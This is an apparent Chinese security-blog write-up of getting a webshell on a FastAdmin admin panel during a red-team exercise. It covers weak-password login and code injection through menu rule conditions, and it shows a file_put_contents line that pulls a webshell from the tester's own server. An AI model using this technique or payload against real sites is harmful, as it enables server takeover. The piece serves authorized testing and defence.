記一次FastAdmin后臺Getshell
聲明:該公眾號大部分文章來自作者日常學習筆記,也有部分文章是經過作者授權和其他公眾號白名單轉載,未經授權,嚴禁轉載,如需轉載,聯系開白。 請勿利用文章內的相關技術從事非法測試,如因此產生的一切不良后果與文章作者和本公眾號無關。 |
FastAdmin介紹
FastAdmin是基于ThinkPHP5和Bootstrap的極速后臺開發框架,基于ThinkPHP行為功能實現的插件機制,擁有豐富的插件和擴展,可直接在線安裝卸載。
基于完善的Auth權限控制管理、無限父子級權限分組、可自由分配子級權限、一個管理員可同時屬于多個組別。
測試過程
在某次HVV的打點過程中,發現某資產為FastAdmin搭建。下圖為FastAdmin的報錯頁面,根據經驗可判斷該網站為FastAdmin搭建。

輸入admin.php進入后臺登錄頁面,弱口令進入后臺。


進入后臺找功能點getshell。后臺默認會有插件管理功能,但是我們在后臺沒有找到這個功能,我們直接訪問插件管理的地址
/admin/addon?ref=addtabs

理論上離線安裝 Fileix文件管理器 ,然后上傳一句話木馬就可以getshell,但是很可惜失敗了。

接著翻后臺,發現有定時任務功能,嘗試反彈shell,寫入反彈shell的語句后,在服務器上nc監聽等待回連,但是發現并沒有執行。

后面一看之前管理員設置過的定時任務也沒有執行過,失敗!

繼續翻后臺,發現在菜單規則中可以創建規則條件,嘗試在功能點中寫入phpinfo()。
必須寫在權限管理中!!!

然后來到管理員管理中,添加一個管理員。
所屬組別必須為二級管理員組!!!

添加完成之后,重新用新添加的賬戶登錄后臺,可以發現phpinfo()被成功執行。

通過搜索$_SERVER[‘DOCUMENT_ROOT’]獲取網站根目錄,為/www/wwwroot/xxxxxxxxx/

找到根路徑后注銷賬戶,準備一個webshell木馬名為1.php,放在自己的服務器上,使用python啟動一個臨時web。
python3 -m http.server 8080

在回到管理后臺當中,在同樣的位置寫入如下語句,將遠程服務器的webshell木馬下載到網站根目錄。
file_put_contents('/www/wwwroot/xxxxxxxxx/shell.php',file_get_contents('臨時web地址/1.php'))

保存完成后,再次使用剛才新創建的用戶登錄


webshell木馬已被成功寫入。

總結
在打點過程中, 通過指紋識別軟件進行指紋識別進行相應的漏洞利用,在未識別出指紋的需人工判斷,根據報錯頁面的樣式識別指紋一種較好的方法。
整體打點過程:瀏覽網站—>發現報錯頁面指紋為FastAdmin—>通過弱口令進入后臺—>規則條件中寫入phpinfo()—>獲得網站根目錄—>規則條件中寫入webshell。